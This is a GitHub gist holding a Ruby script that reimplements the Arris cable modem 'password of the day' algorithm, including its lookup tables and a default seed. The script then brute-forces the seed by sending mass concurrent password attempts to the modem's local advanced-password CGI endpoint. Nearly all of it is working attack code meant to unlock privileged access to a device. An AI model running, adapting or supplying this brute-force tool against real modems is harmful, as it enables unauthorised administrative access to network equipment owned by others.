Created
September 7, 2012 07:57
-
-
Save ttilley/3664214 to your computer and use it in GitHub Desktop.
attempt to brute force an arris "password of the day" algorithm seed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'date' | |
require 'time' | |
require 'uri' | |
require 'net/http' | |
require 'typhoeus' | |
class PasswordOfTheDay | |
TABLE1 = [ | |
[15, 15, 24, 20, 24], | |
[13, 14, 27, 32, 10], | |
[29, 14, 32, 29, 24], | |
[23, 32, 24, 29, 29], | |
[14, 29, 10, 21, 29], | |
[34, 27, 16, 23, 30], | |
[14, 22, 24, 17, 13] | |
] | |
TABLE2 = [ | |
[0, 1, 2, 9, 3, 4, 5, 6, 7, 8], | |
[1, 4, 3, 9, 0, 7, 8, 2, 5, 6], | |
[7, 2, 8, 9, 4, 1, 6, 0, 3, 5], | |
[6, 3, 5, 9, 1, 8, 2, 7, 4, 0], | |
[4, 7, 0, 9, 5, 2, 3, 1, 8, 6], | |
[5, 6, 1, 9, 8, 0, 4, 3, 2, 7] | |
] | |
ALPHANUM = (0..9).to_a.map(&:to_s) + ('A'..'Z').to_a | |
ARRIS_ADVANCED_PASSWORD_URL = 'http://192.168.100.1/cgi-bin/adv_pwd_cgi' | |
ARRIS_ADVANCED_PASSWORD_URI = URI.parse(ARRIS_ADVANCED_PASSWORD_URL) | |
class << self | |
def reset! | |
@today = nil | |
@year_without_century = nil | |
@month = nil | |
@day_of_month = nil | |
@day_of_week = nil | |
@list1 = nil | |
end | |
def today | |
@today ||= Date.today | |
end | |
def year_without_century | |
@year_without_century ||= today.strftime('%y').to_i | |
end | |
def month | |
@month ||= today.month | |
end | |
def day_of_month | |
@day_of_month ||= today.day | |
end | |
def day_of_week | |
unless @day_of_week | |
@day_of_week = today.strftime('%w').to_i - 1 | |
@day_of_week = 6 if @day_of_week < 0 | |
end | |
@day_of_week | |
end | |
def list1 | |
unless @list1 | |
@list1 = 5.times.map {|i| TABLE1[day_of_week][i] } | |
@list1[5] = day_of_month | |
if ((year_without_century + month) - day_of_month) < 0 | |
@list1[6] = (((year_without_century + month) - day_of_month) + 36) % 36 | |
else | |
@list1[6] = ((year_without_century + month) - day_of_month) % 36 | |
end | |
@list1[7] = (((3 + ((year_without_century + month) % 12)) * day_of_month) % 37) % 36 | |
end | |
@list1 | |
end | |
def try(seed=nil) | |
new(seed).valid? | |
end | |
def brute_force_seed | |
reset! | |
check_date = today.dup | |
iterations = queued = processed = processed_before = 0 | |
hydra = Typhoeus::Hydra.new(:max_concurrency => 200) | |
before = Time.now | |
total_size = 36 ** 10 | |
ALPHANUM.combination(10) do |seed| | |
iterations += 1 | |
perform_check_date = (iterations % 600) == 0 | |
perform_hydra_run = (iterations % 30) == 0 | |
perform_log_info = (iterations % 200) == 0 | |
if perform_check_date | |
date = Date.today | |
if date.xmlschema != check_date.xmlschema | |
STDERR.puts "\nnew day: resetting parameters and starting over\n" | |
reset! | |
check_date = today.dup | |
iterations = queued = processed = 0 | |
hydra.abort | |
redo | |
end | |
end | |
pwod = new(seed) | |
request = pwod.request | |
request.on_complete do |response| | |
queued -= 1 | |
processed += 1 | |
if response.success? and response.body.scan('INVALID PASSWORD').length == 0 | |
puts response.body | |
STDERR.puts "\n\nseed: #{seed.join('')}, password_of_the_day: #{pwod}, day: #{check_date.xmlschema}" | |
exit | |
end | |
end | |
hydra.queue(request) | |
queued += 1 | |
hydra.run if perform_hydra_run | |
if perform_log_info | |
now = Time.now | |
runtime = now - before | |
before = now | |
processed_since_last = processed - processed_before | |
puts <<-EOT | |
Iteration: #{iterations} | |
Timestamp: #{check_date} [#{now.hour}:#{now.min}:#{now.sec}] +#{runtime} | |
Speed: #{processed_since_last} in #{runtime} seconds | |
Progress: #{processed}/#{total_size} (#{queued} queued) | |
EOT | |
processed_before = processed | |
end | |
end | |
hydra.run | |
end | |
end | |
def initialize(seed=nil) | |
if seed | |
@seed = seed.respond_to?(:split) ? seed.split('') : seed.to_a | |
else | |
@seed = 'MPSJKMDHAI'.split('') | |
end | |
end | |
def list1; self.class.list1; end | |
def list2 | |
@list2 ||= 8.times.map {|i| @seed[i].ord % 36 } | |
end | |
def list3 | |
unless @list3 | |
@list3 = 8.times.map {|i| (list1[i] + list2[i]) % 36 } | |
@list3[8] = @list3.inject(0) {|memo, num| memo + num } % 36 | |
@list3[9] = (@list3[8] % 6) ** 2 | |
end | |
@list3 | |
end | |
def list4 | |
@list4 ||= 10.times.map {|i| list3[TABLE2[(list3[8] % 6)][i]] } | |
end | |
def list5 | |
@list5 ||= 10.times.map {|i| (@seed[i].ord + list4[i]) % 36 } | |
end | |
def to_s | |
@string ||= 10.times.map {|i| ALPHANUM[list5[i]] }.join('') | |
end | |
def request | |
Typhoeus::Request.new(ARRIS_ADVANCED_PASSWORD_URL, { | |
:method => :post, :body => "pwd=#{self}" | |
}) | |
end | |
def valid? | |
response = Net::HTTP.post_form ARRIS_ADVANCED_PASSWORD_URI, "pwd" => self.to_s | |
response.body.scan("INVALID PASSWORD").length == 0 | |
end | |
end | |
if __FILE__ == $0 | |
PasswordOfTheDay.brute_force_seed | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment